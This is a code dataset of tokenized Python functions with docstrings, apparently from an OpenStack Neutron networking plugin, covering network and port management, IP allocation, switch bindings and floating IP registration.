{"signature": "def delete_network(context, id):", "body": "LOG.info(\"<STR_LIT>\" % (id, context.tenant_id))<EOL>with context.session.begin():<EOL><INDENT>net = db_api.network_find(context=context, limit=None, sorts=['<STR_LIT:id>'],<EOL>marker=None, page_reverse=False, id=id,<EOL>scope=db_api.ONE)<EOL>if not net:<EOL><INDENT>raise n_exc.NetworkNotFound(net_id=id)<EOL><DEDENT>if not context.is_admin:<EOL><INDENT>if STRATEGY.is_provider_network(net.id):<EOL><INDENT>raise n_exc.NotAuthorized(net_id=id)<EOL><DEDENT><DEDENT>if net.ports:<EOL><INDENT>raise n_exc.NetworkInUse(net_id=id)<EOL><DEDENT>net_driver = registry.DRIVER_REGISTRY.get_driver(net[\"<STR_LIT>\"])<EOL>net_driver.delete_network(context, id)<EOL>for subnet in net[\"<STR_LIT>\"]:<EOL><INDENT>subnets._delete_subnet(context, subnet)<EOL><DEDENT>db_api.network_delete(context, net)<EOL><DEDENT>", "docstring": "Delete a network.\n\n    : param context: neutron api request context\n    : param id: UUID representing the network to delete.", "id": "f10763:m6"}
{"signature": "def get_mac_address_range(context, id, fields=None):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(id, context.tenant_id, fields))<EOL>if not context.is_admin:<EOL><INDENT>raise n_exc.NotAuthorized()<EOL><DEDENT>mac_address_range = db_api.mac_address_range_find(<EOL>context, id=id, scope=db_api.ONE)<EOL>if not mac_address_range:<EOL><INDENT>raise q_exc.MacAddressRangeNotFound(<EOL>mac_address_range_id=id)<EOL><DEDENT>return v._make_mac_range_dict(mac_address_range)<EOL>", "docstring": "Retrieve a mac_address_range.\n\n    : param context: neutron api request context\n    : param id: UUID representing the network to fetch.\n    : param fields: a list of strings that are valid keys in a\n        network dictionary as listed in the RESOURCE_ATTRIBUTE_MAP\n        object in neutron/api/v2/attributes.py. Only these fields\n        will be returned.", "id": "f10764:m1"}
{"signature": "def delete_mac_address_range(context, id):", "body": "LOG.info(\"<STR_LIT>\" %<EOL>(id, context.tenant_id))<EOL>if not context.is_admin:<EOL><INDENT>raise n_exc.NotAuthorized()<EOL><DEDENT>with context.session.begin():<EOL><INDENT>mar = db_api.mac_address_range_find(context, id=id, scope=db_api.ONE)<EOL>if not mar:<EOL><INDENT>raise q_exc.MacAddressRangeNotFound(<EOL>mac_address_range_id=id)<EOL><DEDENT>_delete_mac_address_range(context, mar)<EOL><DEDENT>", "docstring": "Delete a mac_address_range.\n\n    : param context: neutron api request context\n    : param id: UUID representing the mac_address_range to delete.", "id": "f10764:m5"}
{"signature": "@classmethod<EOL><INDENT>def get_resources(cls):<DEDENT>", "body": "plugin = directory.get_plugin()<EOL>controller = IPPoliciesController(plugin)<EOL>return [extensions.ResourceExtension(Ip_policies.get_alias(),<EOL>controller)]<EOL>", "docstring": "Returns Ext Resources.", "id": "f10767:c1:m6"}
{"signature": "@classmethod<EOL><INDENT>def get_resources(cls):<DEDENT>", "body": "plugin = directory.get_plugin()<EOL>controller = IPAvailabilityController(plugin)<EOL>return [extensions.ResourceExtension(Ip_availability.get_alias(),<EOL>controller)]<EOL>", "docstring": "Returns Ext Resources.", "id": "f10768:c1:m6"}
{"signature": "@classmethod<EOL><INDENT>def get_resources(cls):<DEDENT>", "body": "ip_controller = IpAddressesController(<EOL>directory.get_plugin())<EOL>ip_port_controller = IpAddressPortController(<EOL>directory.get_plugin())<EOL>resources = []<EOL>resources.append(extensions.ResourceExtension(<EOL>Ip_addresses.get_alias(),<EOL>ip_controller))<EOL>parent = {'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'}<EOL>resources.append(extensions.ResourceExtension(<EOL>'<STR_LIT>', ip_port_controller, parent=parent))<EOL>return resources<EOL>", "docstring": "Returns Ext Resources.", "id": "f10771:c2:m6"}
{"signature": "@classmethod<EOL><INDENT>def get_resources(cls):<DEDENT>", "body": "job_controller = JobsController(<EOL>directory.get_plugin())<EOL>resources = []<EOL>resources.append(extensions.ResourceExtension(<EOL>Jobs.get_alias(),<EOL>job_controller))<EOL>return resources<EOL>", "docstring": "Returns Ext Resources.", "id": "f10772:c1:m6"}
{"signature": "@classmethod<EOL><INDENT>def get_resources(cls):<DEDENT>", "body": "plugin = directory.get_plugin()<EOL>controller = SegmentAllocationRangesController(plugin)<EOL>return [extensions.ResourceExtension(<EOL>Segment_allocation_ranges.get_alias(),<EOL>controller)]<EOL>", "docstring": "Returns Ext Resources.", "id": "f10774:c1:m6"}
{"signature": "@classmethod<EOL><INDENT>def get_resources(cls):<DEDENT>", "body": "plural_mappings = resource_helper.build_plural_mappings(<EOL>{}, RESOURCE_ATTRIBUTE_MAP)<EOL>return resource_helper.build_resource_info(plural_mappings,<EOL>RESOURCE_ATTRIBUTE_MAP,<EOL>None,<EOL>register_quota=True)<EOL>", "docstring": "Returns Ext Resources.", "id": "f10775:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def get_resources(cls):<DEDENT>", "body": "controller = RoutesController(directory.get_plugin())<EOL>return [extensions.ResourceExtension(<EOL>Routes.get_alias(),<EOL>controller)]<EOL>", "docstring": "Returns Ext Resources.", "id": "f10776:c1:m6"}
{"signature": "@classmethod<EOL><INDENT>def get_resources(cls):<DEDENT>", "body": "plugin = directory.get_plugin()<EOL>controller = MacAddressRangesController(plugin)<EOL>return [extensions.ResourceExtension(Mac_address_ranges.get_alias(),<EOL>controller)]<EOL>", "docstring": "Returns Ext Resources.", "id": "f10777:c1:m6"}
{"signature": "def _allocate_from_v6_subnet(self, context, net_id, subnet,<EOL>port_id, reuse_after, ip_address=None,<EOL>**kwargs):", "body": "LOG.info(\"<STR_LIT>\".format(<EOL>utils.pretty_kwargs(network_id=net_id, subnet=subnet,<EOL>port_id=port_id, ip_address=ip_address)))<EOL>if ip_address:<EOL><INDENT>LOG.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % ip_address)<EOL>return self._allocate_from_subnet(context, net_id=net_id,<EOL>subnet=subnet, port_id=port_id,<EOL>reuse_after=reuse_after,<EOL>ip_address=ip_address, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>mac = kwargs.get(\"<STR_LIT>\")<EOL>if mac:<EOL><INDENT>mac = kwargs[\"<STR_LIT>\"].get(\"<STR_LIT:address>\")<EOL><DEDENT>if subnet and subnet[\"<STR_LIT>\"]:<EOL><INDENT>ip_policy_cidrs = subnet[\"<STR_LIT>\"].get_cidrs_ip_set()<EOL><DEDENT>else:<EOL><INDENT>ip_policy_cidrs = netaddr.IPSet([])<EOL><DEDENT>for tries, ip_address in enumerate(<EOL>generate_v6(mac, port_id, subnet[\"<STR_LIT>\"])):<EOL><INDENT>LOG.info(\"<STR_LIT>\".format(<EOL>tries + <NUM_LIT:1>, CONF.QUARK.v6_allocation_attempts))<EOL>if tries > CONF.QUARK.v6_allocation_attempts - <NUM_LIT:1>:<EOL><INDENT>LOG.info(\"<STR_LIT>\")<EOL>raise ip_address_failure(net_id)<EOL><DEDENT>ip_address = netaddr.IPAddress(ip_address).ipv6()<EOL>LOG.info(\"<STR_LIT>\".format(<EOL>str(ip_address)))<EOL>if (ip_policy_cidrs is not None and<EOL>ip_address in ip_policy_cidrs):<EOL><INDENT>LOG.info(\"<STR_LIT>\".format(<EOL>str(ip_address)))<EOL>continue<EOL><DEDENT>try:<EOL><INDENT>with context.session.begin():<EOL><INDENT>address = db_api.ip_address_create(<EOL>context, address=ip_address,<EOL>subnet_id=subnet[\"<STR_LIT:id>\"],<EOL>version=subnet[\"<STR_LIT>\"], network_id=net_id,<EOL>address_type=kwargs.get('<STR_LIT>',<EOL>ip_types.FIXED))<EOL>return address<EOL><DEDENT><DEDENT>except db_exception.DBDuplicateEntry:<EOL><INDENT>LOG.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(str(ip_address)))<EOL>LOG.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", subnet[\"<STR_LIT:id>\"], ip_address)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "This attempts to allocate v6 addresses as per RFC2462 and RFC3041.\n\n        To accomodate this, we effectively treat all v6 assignment as a\n        first time allocation utilizing the MAC address of the VIF. Because\n        we recycle MACs, we will eventually attempt to recreate a previously\n        generated v6 address. Instead of failing, we've opted to handle\n        reallocating that address in this method.\n\n        This should provide a performance boost over attempting to check\n        each and every subnet in the existing reallocate logic, as we'd\n        have to iterate over each and every subnet returned", "id": "f10784:c2:m4"}
{"signature": "def opt_args_decorator(func):", "body": "@wraps(func)<EOL>def wrapped_dec(*args, **kwargs):<EOL><INDENT>if len(args) == <NUM_LIT:1> and len(kwargs) == <NUM_LIT:0> and callable(args[<NUM_LIT:0>]):<EOL><INDENT>return func(args[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>return lambda realf: func(realf, *args, **kwargs)<EOL><DEDENT><DEDENT>return wrapped_dec<EOL>", "docstring": "A decorator to be used on another decorator\n\n    This is done to allow separate handling on the basis of argument values", "id": "f10785:m5"}
{"signature": "def append_quark_extensions(conf):", "body": "if '<STR_LIT>' in conf:<EOL><INDENT>conf.set_override('<STR_LIT>', \"<STR_LIT::>\".join(extensions.__path__))<EOL><DEDENT>", "docstring": "Adds the Quark API Extensions to the extension path.\n\n    Pulled out for test coveage.", "id": "f10786:m0"}
{"signature": "def _fix_missing_tenant_id(self, context, body, key):", "body": "if not body:<EOL><INDENT>raise n_exc.BadRequest(resource=key,<EOL>msg=\"<STR_LIT>\")<EOL><DEDENT>resource = body.get(key)<EOL>if not resource:<EOL><INDENT>raise n_exc.BadRequest(resource=key,<EOL>msg=\"<STR_LIT>\")<EOL><DEDENT>if context.tenant_id is None:<EOL><INDENT>context.tenant_id = resource.get(\"<STR_LIT>\")<EOL><DEDENT>if context.tenant_id is None:<EOL><INDENT>msg = _(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>raise n_exc.BadRequest(resource=key, msg=msg)<EOL><DEDENT>", "docstring": "Will add the tenant_id to the context from body.\n\n        It is assumed that the body must have a tenant_id because neutron\n        core could never have gotten here otherwise.", "id": "f10786:c0:m1"}
{"signature": "def get_public_net_id(self):", "body": "for id, net_params in self.strategy.iteritems():<EOL><INDENT>if id == CONF.QUARK.public_net_id:<EOL><INDENT>return id<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Returns the public net id", "id": "f10787:c0:m14"}
{"signature": "def _validate_allocation_pools(self):", "body": "ip_pools = self._alloc_pools<EOL>subnet_cidr = self._subnet_cidr<EOL>LOG.debug(_(\"<STR_LIT>\"))<EOL>ip_sets = []<EOL>for ip_pool in ip_pools:<EOL><INDENT>try:<EOL><INDENT>start_ip = netaddr.IPAddress(ip_pool['<STR_LIT:start>'])<EOL>end_ip = netaddr.IPAddress(ip_pool['<STR_LIT:end>'])<EOL><DEDENT>except netaddr.AddrFormatError:<EOL><INDENT>LOG.info(_(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"),<EOL>{'<STR_LIT:start>': ip_pool['<STR_LIT:start>'],<EOL>'<STR_LIT:end>': ip_pool['<STR_LIT:end>']})<EOL>raise n_exc_ext.InvalidAllocationPool(pool=ip_pool)<EOL><DEDENT>if (start_ip.version != self._subnet_cidr.version or<EOL>end_ip.version != self._subnet_cidr.version):<EOL><INDENT>LOG.info(_(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"))<EOL>raise n_exc_ext.InvalidAllocationPool(pool=ip_pool)<EOL><DEDENT>if end_ip < start_ip:<EOL><INDENT>LOG.info(_(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"),<EOL>{'<STR_LIT:start>': ip_pool['<STR_LIT:start>'], '<STR_LIT:end>': ip_pool['<STR_LIT:end>']})<EOL>raise n_exc_ext.InvalidAllocationPool(pool=ip_pool)<EOL><DEDENT>if (start_ip < self._subnet_first_ip or<EOL>end_ip > self._subnet_last_ip):<EOL><INDENT>LOG.info(_(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"),<EOL>{'<STR_LIT:start>': ip_pool['<STR_LIT:start>'],<EOL>'<STR_LIT:end>': ip_pool['<STR_LIT:end>']})<EOL>raise n_exc_ext.OutOfBoundsAllocationPool(<EOL>pool=ip_pool,<EOL>subnet_cidr=subnet_cidr)<EOL><DEDENT>ip_sets.append(netaddr.IPSet(netaddr.IPRange(<EOL>ip_pool['<STR_LIT:start>'],<EOL>ip_pool['<STR_LIT:end>']).cidrs()))<EOL><DEDENT>LOG.debug(_(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"))<EOL>ip_ranges = ip_pools[:]<EOL>for l_cursor in xrange(len(ip_sets)):<EOL><INDENT>for r_cursor in xrange(l_cursor + <NUM_LIT:1>, len(ip_sets)):<EOL><INDENT>if ip_sets[l_cursor] & ip_sets[r_cursor]:<EOL><INDENT>l_range = ip_ranges[l_cursor]<EOL>r_range = ip_ranges[r_cursor]<EOL>LOG.info(_(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"),<EOL>{'<STR_LIT>': l_range, '<STR_LIT>': r_range})<EOL>raise n_exc_ext.OverlappingAllocationPools(<EOL>pool_1=l_range,<EOL>pool_2=r_range,<EOL>subnet_cidr=subnet_cidr)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Validate IP allocation pools.\n\n        Verify start and end address for each allocation pool are valid,\n        ie: constituted by valid and appropriately ordered IP addresses.\n        Also, verify pools do not overlap among themselves.\n        Finally, verify that each range fall within the subnet's CIDR.", "id": "f10788:c0:m2"}
{"signature": "def _lswitch_select_open(self, context, switches=None, **kwargs):", "body": "if switches is not None:<EOL><INDENT>for res in switches[\"<STR_LIT>\"]:<EOL><INDENT>count = res[\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>if (self.limits['<STR_LIT>'] == <NUM_LIT:0> or<EOL>count < self.limits['<STR_LIT>']):<EOL><INDENT>return res[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Selects an open lswitch for a network.\n\n        Note that it does not select the most full switch, but merely one with\n        ports available.", "id": "f10791:c2:m25"}
{"signature": "def _add_default_tz_bindings(self, context, switch, network_id):", "body": "default_tz = CONF.NVP.default_tz<EOL>if not default_tz:<EOL><INDENT>LOG.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if not network_id:<EOL><INDENT>LOG.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return<EOL><DEDENT>for net_type in CONF.NVP.additional_default_tz_types:<EOL><INDENT>if net_type in TZ_BINDINGS:<EOL><INDENT>binding = TZ_BINDINGS[net_type]<EOL>binding.add(context, switch, default_tz, network_id)<EOL><DEDENT>else:<EOL><INDENT>LOG.warn(\"<STR_LIT>\" % (net_type))<EOL><DEDENT><DEDENT>", "docstring": "Configure any additional default transport zone bindings.", "id": "f10791:c2:m28"}
{"signature": "def _remove_default_tz_bindings(self, context, network_id):", "body": "default_tz = CONF.NVP.default_tz<EOL>if not default_tz:<EOL><INDENT>LOG.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if not network_id:<EOL><INDENT>LOG.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return<EOL><DEDENT>for net_type in CONF.NVP.additional_default_tz_types:<EOL><INDENT>if net_type in TZ_BINDINGS:<EOL><INDENT>binding = TZ_BINDINGS[net_type]<EOL>binding.remove(context, default_tz, network_id)<EOL><DEDENT>else:<EOL><INDENT>LOG.warn(\"<STR_LIT>\" % (net_type))<EOL><DEDENT><DEDENT>", "docstring": "Deconfigure any additional default transport zone bindings.", "id": "f10791:c2:m29"}
{"signature": "def get_lswitch_ids_for_network(self, context, network_id):", "body": "lswitches = self._lswitches_for_network(context, network_id).results()<EOL>return [s['<STR_LIT>'] for s in lswitches[\"<STR_LIT>\"]]<EOL>", "docstring": "Public interface for fetching lswitch ids for a given network.\n\n        NOTE(morgabra) This is here because calling private methods\n        from outside the class feels wrong, and we need to be able to\n        fetch lswitch ids for use in other drivers.", "id": "f10791:c2:m31"}
{"signature": "def _lswitch_status_query(self, context, network_id):", "body": "pass<EOL>", "docstring": "Child implementation of lswitch_status_query.\n\n        Deliberately empty as we rely on _get_network_details to be more\n        efficient than we can be here.", "id": "f10794:c0:m14"}
{"signature": "def get_lswitch_ids_for_network(self, context, network_id):", "body": "lswitches = self._lswitches_for_network(context, network_id)<EOL>return [s['<STR_LIT>'] for s in lswitches]<EOL>", "docstring": "Public interface for fetching lswitch ids for a given network.\n\n        NOTE(morgabra) This is here because calling private methods\n        from outside the class feels wrong, and we need to be able to\n        fetch lswitch ids for use in other drivers.", "id": "f10794:c0:m19"}
{"signature": "def select_ipam_strategy(self, network_id, network_strategy, **kwargs):", "body": "LOG.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (network_id, network_strategy))<EOL>net_type = \"<STR_LIT>\"<EOL>if STRATEGY.is_provider_network(network_id):<EOL><INDENT>net_type = \"<STR_LIT>\"<EOL><DEDENT>strategy = self._ipam_strategies.get(net_type, {})<EOL>default = strategy.get(\"<STR_LIT:default>\")<EOL>overrides = strategy.get(\"<STR_LIT>\", {})<EOL>if network_strategy in overrides:<EOL><INDENT>LOG.info(\"<STR_LIT>\"<EOL>% (overrides[network_strategy]))<EOL>return overrides[network_strategy]<EOL><DEDENT>if default:<EOL><INDENT>LOG.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (default))<EOL>return default<EOL><DEDENT>LOG.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (network_strategy))<EOL>return network_strategy<EOL>", "docstring": "Return relevant IPAM strategy name.\n\n        :param network_id: neutron network id.\n        :param network_strategy: default strategy for the network.\n\n        NOTE(morgabra) This feels like a hack but I can't think of a better\n        idea. The root problem is we can now attach ports to networks with\n        a different backend driver/ipam strategy than the network speficies.\n\n        We handle the the backend driver part with allowing network_plugin to\n        be specified for port objects. This works pretty well because nova or\n        whatever knows when we are hooking up an Ironic node so it can pass\n        along that key during port_create().\n\n        IPAM is a little trickier, especially in Ironic's case, because we\n        *must* use a specific IPAM for provider networks. There isn't really\n        much of an option other than involve the backend driver when selecting\n        the IPAM strategy.", "id": "f10795:c2:m5"}
{"signature": "def _get_base_network_info(self, context, network_id, base_net_driver):", "body": "driver_name = base_net_driver.get_name()<EOL>net_info = {\"<STR_LIT>\": driver_name}<EOL>LOG.debug('<STR_LIT>'<EOL>% (driver_name, network_id))<EOL>if driver_name == '<STR_LIT>':<EOL><INDENT>LOG.debug('<STR_LIT>'<EOL>% (network_id))<EOL>lswitch_ids = base_net_driver.get_lswitch_ids_for_network(<EOL>context, network_id)<EOL>if not lswitch_ids or len(lswitch_ids) > <NUM_LIT:1>:<EOL><INDENT>msg = ('<STR_LIT>'<EOL>% (len(lswitch_ids)))<EOL>LOG.error(msg)<EOL>raise IronicException(msg)<EOL><DEDENT>lswitch_id = lswitch_ids.pop()<EOL>LOG.info('<STR_LIT>'<EOL>% (network_id, lswitch_id))<EOL>net_info['<STR_LIT>'] = lswitch_id<EOL><DEDENT>LOG.debug('<STR_LIT>'<EOL>% (driver_name, network_id, net_info))<EOL>return net_info<EOL>", "docstring": "Return a dict of extra network information.\n\n        :param context: neutron request context.\n        :param network_id: neturon network id.\n        :param net_driver: network driver associated with network_id.\n        :raises IronicException: Any unexpected data fetching failures will\n            be logged and IronicException raised.\n\n        This driver can attach to networks managed by other drivers. We may\n        need some information from these drivers, or otherwise inform\n        downstream about the type of network we are attaching to. We can\n        make these decisions here.", "id": "f10795:c2:m9"}
{"signature": "def create_port(self, context, network_id, port_id, **kwargs):", "body": "LOG.info(\"<STR_LIT>\" % (context.tenant_id, network_id,<EOL>port_id))<EOL>if not kwargs.get('<STR_LIT>'):<EOL><INDENT>raise IronicException(msg='<STR_LIT>')<EOL><DEDENT>base_net_driver = kwargs['<STR_LIT>']<EOL>if not kwargs.get('<STR_LIT>'):<EOL><INDENT>raise IronicException(msg='<STR_LIT>')<EOL><DEDENT>device_id = kwargs['<STR_LIT>']<EOL>if not kwargs.get('<STR_LIT>'):<EOL><INDENT>raise IronicException(msg='<STR_LIT>')<EOL><DEDENT>instance_node_id = kwargs['<STR_LIT>']<EOL>if not kwargs.get('<STR_LIT>'):<EOL><INDENT>raise IronicException(msg='<STR_LIT>')<EOL><DEDENT>mac_address = str(netaddr.EUI(kwargs[\"<STR_LIT>\"][\"<STR_LIT:address>\"]))<EOL>mac_address = mac_address.replace('<STR_LIT:->', '<STR_LIT::>')<EOL>if kwargs.get('<STR_LIT>'):<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise IronicException(msg=msg)<EOL><DEDENT>fixed_ips = []<EOL>addresses = kwargs.get('<STR_LIT>')<EOL>if not isinstance(addresses, list):<EOL><INDENT>addresses = [addresses]<EOL><DEDENT>for address in addresses:<EOL><INDENT>fixed_ips.append(self._make_fixed_ip_dict(context, address))<EOL><DEDENT>body = {<EOL>\"<STR_LIT:id>\": port_id,<EOL>\"<STR_LIT>\": network_id,<EOL>\"<STR_LIT>\": device_id,<EOL>\"<STR_LIT>\": kwargs.get('<STR_LIT>', '<STR_LIT>'),<EOL>\"<STR_LIT>\": context.tenant_id or \"<STR_LIT>\",<EOL>\"<STR_LIT>\": context.roles,<EOL>\"<STR_LIT>\": mac_address,<EOL>\"<STR_LIT>\": fixed_ips,<EOL>\"<STR_LIT>\": instance_node_id,<EOL>\"<STR_LIT>\": not STRATEGY.is_provider_network(network_id)<EOL>}<EOL>net_info = self._get_base_network_info(<EOL>context, network_id, base_net_driver)<EOL>body.update(net_info)<EOL>try:<EOL><INDENT>LOG.info(\"<STR_LIT>\" % (body))<EOL>port = self._create_port(context, body)<EOL>LOG.info(\"<STR_LIT>\" % (port))<EOL>return {\"<STR_LIT>\": port['<STR_LIT:port>']['<STR_LIT:id>'],<EOL>\"<STR_LIT>\": port['<STR_LIT:port>']['<STR_LIT>']}<EOL><DEDENT>except Exception as e:<EOL><INDENT>msg = \"<STR_LIT>\" % (e)<EOL>raise IronicException(msg=msg)<EOL><DEDENT>", "docstring": "Create a port.\n\n        :param context: neutron api request context.\n        :param network_id: neutron network id.\n        :param port_id: neutron port id.\n        :param kwargs:\n            required keys - device_id: neutron port device_id (instance_id)\n                            instance_node_id: nova hypervisor host id\n                            mac_address: neutron port mac address\n                            base_net_driver: the base network driver\n            optional keys - addresses: list of allocated IPAddress models\n                            security_groups: list of associated security groups\n        :raises IronicException: If the client is unable to create the\n            downstream port for any reason, the exception will be logged\n            and IronicException raised.", "id": "f10795:c2:m10"}
{"signature": "def update_port(self, context, port_id, **kwargs):", "body": "LOG.info(\"<STR_LIT>\" % (context.tenant_id, port_id))<EOL>if kwargs.get(\"<STR_LIT>\"):<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise IronicException(msg=msg)<EOL><DEDENT>return {\"<STR_LIT>\": port_id}<EOL>", "docstring": "Update a port.\n\n        :param context: neutron api request context.\n        :param port_id: neutron port id.\n        :param kwargs: optional kwargs.\n        :raises IronicException: If the client is unable to update the\n            downstream port for any reason, the exception will be logged\n            and IronicException raised.\n\n        TODO(morgabra) It does not really make sense in the context of Ironic\n        to allow updating ports. fixed_ips and mac_address are burned in the\n        configdrive on the host, and we otherwise cannot migrate a port between\n        instances. Eventually we will need to support security groups, but for\n        now it's a no-op on port data changes, and we need to rely on the\n        API/Nova to not allow updating data on active ports.", "id": "f10795:c2:m11"}
{"signature": "def delete_port(self, context, port_id, **kwargs):", "body": "LOG.info(\"<STR_LIT>\" % (context.tenant_id, port_id))<EOL>try:<EOL><INDENT>self._delete_port(context, port_id)<EOL>LOG.info(\"<STR_LIT>\" % (port_id))<EOL><DEDENT>except Exception:<EOL><INDENT>LOG.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (port_id))<EOL><DEDENT>", "docstring": "Delete a port.\n\n        :param context: neutron api request context.\n        :param port_id: neutron port id.\n        :param kwargs: optional kwargs.\n        :raises IronicException: If the client is unable to delete the\n            downstream port for any reason, the exception will be logged\n            and IronicException raised.", "id": "f10795:c2:m13"}
{"signature": "def diag_port(self, context, port_id, **kwargs):", "body": "LOG.info(\"<STR_LIT>\" % port_id)<EOL>try:<EOL><INDENT>port = self._client.show_port(port_id)<EOL><DEDENT>except Exception as e:<EOL><INDENT>msg = \"<STR_LIT>\" % (str(e))<EOL>LOG.exception(msg)<EOL>raise IronicException(msg=msg)<EOL><DEDENT>return {\"<STR_LIT>\": port}<EOL>", "docstring": "Diagnose a port.\n\n        :param context: neutron api request context.\n        :param port_id: neutron port id.\n        :param kwargs: optional kwargs.\n        :raises IronicException: If the client is unable to fetch the\n            downstream port for any reason, the exception will be\n            logged and IronicException raised.", "id": "f10795:c2:m14"}
{"signature": "def create_network(self, *args, **kwargs):", "body": "raise NotImplementedError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Create a network.\n\n        :raises NotImplementedError: This driver does not manage networks.\n\n        NOTE: This is a no-op in the base driver, but this raises here as to\n        explicitly disallow network operations in case of a misconfiguration.", "id": "f10795:c2:m15"}
{"signature": "def delete_network(self, *args, **kwargs):", "body": "raise NotImplementedError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Delete a network.\n\n        :raises NotImplementedError: This driver does not manage networks.\n\n        NOTE: This is a no-op in the base driver, but this raises here as to\n        explicitly disallow network operations in case of a misconfiguration.", "id": "f10795:c2:m16"}
{"signature": "def diag_network(self, *args, **kwargs):", "body": "raise NotImplementedError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Diagnose a network.\n\n        :raises NotImplementedError: This driver does not manage networks.\n\n        NOTE: This is a no-op in the base driver, but this raises here as to\n        explicitly disallow network operations in case of a misconfiguration.", "id": "f10795:c2:m17"}
{"signature": "def create_security_group(self, context, group_name, **group):", "body": "raise NotImplementedError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Create a security group.\n\n        :raises NotImplementedError: This driver does not implement security\n                                     groups.\n\n        NOTE: Security groups will be supported in the future, but for now\n        they are explicitly disallowed.", "id": "f10795:c2:m18"}
{"signature": "def delete_security_group(self, context, group_id, **kwargs):", "body": "raise NotImplementedError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Delete a security group.\n\n        :raises NotImplementedError: This driver does not implement security\n                                     groups.\n\n        NOTE: Security groups will be supported in the future, but for now\n        they are explicitly disallowed.", "id": "f10795:c2:m19"}
{"signature": "def update_security_group(self, context, group_id, **group):", "body": "raise NotImplementedError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Update a security group.\n\n        :raises NotImplementedError: This driver does not implement security\n                                     groups.\n\n        NOTE: Security groups will be supported in the future, but for now\n        they are explicitly disallowed.", "id": "f10795:c2:m20"}
{"signature": "def create_security_group_rule(self, context, group_id, rule):", "body": "raise NotImplementedError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Create a security group rule.\n\n        :raises NotImplementedError: This driver does not implement security\n                                     groups.\n\n        NOTE: Security groups will be supported in the future, but for now\n        they are explicitly disallowed.", "id": "f10795:c2:m21"}
{"signature": "def delete_security_group_rule(self, context, group_id, rule):", "body": "raise NotImplementedError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Delete a security group rule.\n\n        :raises NotImplementedError: This driver does not implement security\n                                     groups.\n\n        NOTE: Security groups will be supported in the future, but for now\n        they are explicitly disallowed.", "id": "f10795:c2:m22"}
{"signature": "def register_floating_ip(self, floating_ip, port_fixed_ips):", "body": "url = CONF.QUARK.floating_ip_base_url<EOL>timeout = CONF.QUARK.unicorn_api_timeout_seconds<EOL>req = self._build_request_body(floating_ip, port_fixed_ips)<EOL>try:<EOL><INDENT>LOG.info(\"<STR_LIT>\"<EOL>% (url, req))<EOL>r = requests.post(url, data=json.dumps(req), timeout=timeout)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOG.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (floating_ip.id, e.message))<EOL>raise ex.RegisterFloatingIpFailure(id=floating_ip.id)<EOL><DEDENT>if r.status_code != <NUM_LIT:200> and r.status_code != <NUM_LIT>:<EOL><INDENT>msg = \"<STR_LIT>\"\"<STR_LIT>\" % (r.status_code, r.json())<EOL>LOG.error(\"<STR_LIT>\" % msg)<EOL>raise ex.RegisterFloatingIpFailure(id=floating_ip.id)<EOL><DEDENT>", "docstring": "Register a floating ip with Unicorn\n\n        :param floating_ip: The quark.db.models.IPAddress to register\n        :param port_fixed_ips: A dictionary containing the port and fixed ips\n        to associate the floating IP with.  Has the structure of:\n        {\"<id of port>\": {\"port\": <quark.db.models.Port>,\n         \"fixed_ip\": \"<fixed ip address>\"}}\n        :return: None", "id": "f10798:c0:m2"}
